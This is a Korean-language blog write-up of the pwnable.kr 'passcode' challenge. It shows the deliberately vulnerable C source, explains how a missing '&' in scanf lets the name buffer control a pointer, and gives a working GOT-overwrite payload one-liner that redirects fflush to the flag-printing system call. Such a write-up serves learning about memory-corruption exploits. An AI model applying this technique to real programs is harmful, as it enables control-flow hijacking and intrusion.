zj3t

email: euntaejang@gmail.com

Latest Posts

pwnable.kr-passcode

By 오후 9:56 ,


  1. #include <stdio.h>
  2. #include <stdlib.h>

  3. void login(){
  4. int passcode1;
  5. int passcode2;

  6. printf("enter passcode1 : ");
  7. scanf("%d", passcode1);
  8. fflush(stdin);

  9. // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
  10. printf("enter passcode2 : ");
  11.         scanf("%d", passcode2);

  12. printf("checking...\n");
  13. if(passcode1==338150 && passcode2==13371337){
  14.                 printf("Login OK!\n");
  15.                 system("/bin/cat flag");
  16.         }
  17.         else{
  18.                 printf("Login Failed!\n");
  19. exit(0);
  20.         }
  21. }

  22. void welcome(){
  23. char name[100];
  24. printf("enter you name : ");
  25. scanf("%100s", name);
  26. printf("Welcome %s!\n", name);
  27. }

  28. int main(){
  29. printf("Toddler's Secure Login System 1.0 beta.\n");

  30. welcome();
  31. login();

  32. // something after login...
  33. printf("Now I can safely trust you that you have credential :)\n");
  34. return 0;

---------------------------------------------------------------------------------------------------







  1. printf("enter passcode1 : ");
  2. scanf("%d", passcode1);
&passcode1 이 아니라 passcode1 입니다. 즉 passcode변수에 있는 값을 가진 주소에 어떤 값을 쓴다는 것인데요.

또 봐야 할 것이 저 파란색 네모입니다.

0x70에서 name을 입력받습니다. 100만큼,
하지만 0x10에서는 passcode1의 입력이 시작됩니다.

0x70-0x10은 96!!!

즉 passcode1인 4바이트를 welcome() 함수의 name 입력으로 채울 수 있다는 점입니다.

프로그램의 진행 과정을 보면, 

  1. printf("enter passcode1 : ");
  2. scanf("%d", passcode1);
  3. fflush(stdin);
인데요 만약 passcode1의 값을 fflush가있는 주소의 값으로 바꿔주고 그에 대한 입력 값
즉, fflush의 함수가 위치한 곳의 주소를 passcode값으로 넣고(4바이트 name변수에서 조작가능)

scanf로 입력받는 값을 실행시킬 함수로 바꿔버리는 것입니다.

그렇다면 
name에서
python -c 'print "\x90"*96+"fflush의 GOT주소"'` 를 입력 받았으면
int passcode1의 값은 fflush의 GOT 주소가 됩니다.

그렇다면 scanf("%d",passcode1); 은 scanf("%d",fflush GOT@); 가 되는 것입니다.

그럼 입력값을 system("/bin/cat flag"); 이 실행되는 주소를 넣어 준다면 플래그를 얻을 수 있을 것입니다.

그렇다면 plt와 got 를 알아야 합니다.



-got


-plt

이는 윈도우의 IAT,INT의 개념과 비슷하다고 생각하는데, 이는 많은 개념이 정리 되어있으므로 예시로 때우겠습니다.

call printf 
라는 구문이 있을 때 

printf 는 plt를 참조하여 실제 printf가 위치한 got에서 주소를 가져와 실행합니다.

쉽게 말하면 got가 진짜 함수의 주소라는 말입니다.

0x80485e3는 위에서 처럼 mov "/bin/cat flag" 부터 시작해서 call system까지 이어진 함수입니다.

\xe3\x85\x04\x08 이 아닌 10진수 134514147 로 인자를 준 이유는 한번에 값을 주는 형태의 문제가 아니기 때문입니다.

name을 입력하고 passcode1를 입력하기 때문인데 passcode1은 int 형인데 \xe3\x85\x04\x08를 줘버리면 문자열이 되기때문에 0x80485e3을 10진수로 바꾼값 134514147을 써준 것입니다.
 (python -c 'print "\x90"*96+"\x04\xa0\x04\x08"+"134514147"') | ./passcode

에서 python -c 'print "\x90"*96+"\x04\xa0\x04\x08" 은 name에 해당하는 값 100을 입력받았기 때문에 

그 다음 입력 값을 받기위해 passcode1을 입력하기를 기다립니다. 따라서 "134514147" 이 값을 너어주는 것입니다.

저도 많이 해맸습니다. 이것 때문에 enter you name: 에서 `python ....해도 `python 까지 같이 문자열로 전달 되더라구여 "\x90"*96+"\x04\xa0\x04\x08" 이값이 아니라.

따라서 
(python -c 'print "\x90"*96+"\x04\xa0\x04\x08"+"134514147"') | ./passcode

이렇게 써주어야합니다.



이 문제 어렵네요..저에겐 아직 먼거 같습니다.

got, plt를 잘 아냐 묻는 문제 같습니다.

You Might Also Like

0 개의 댓글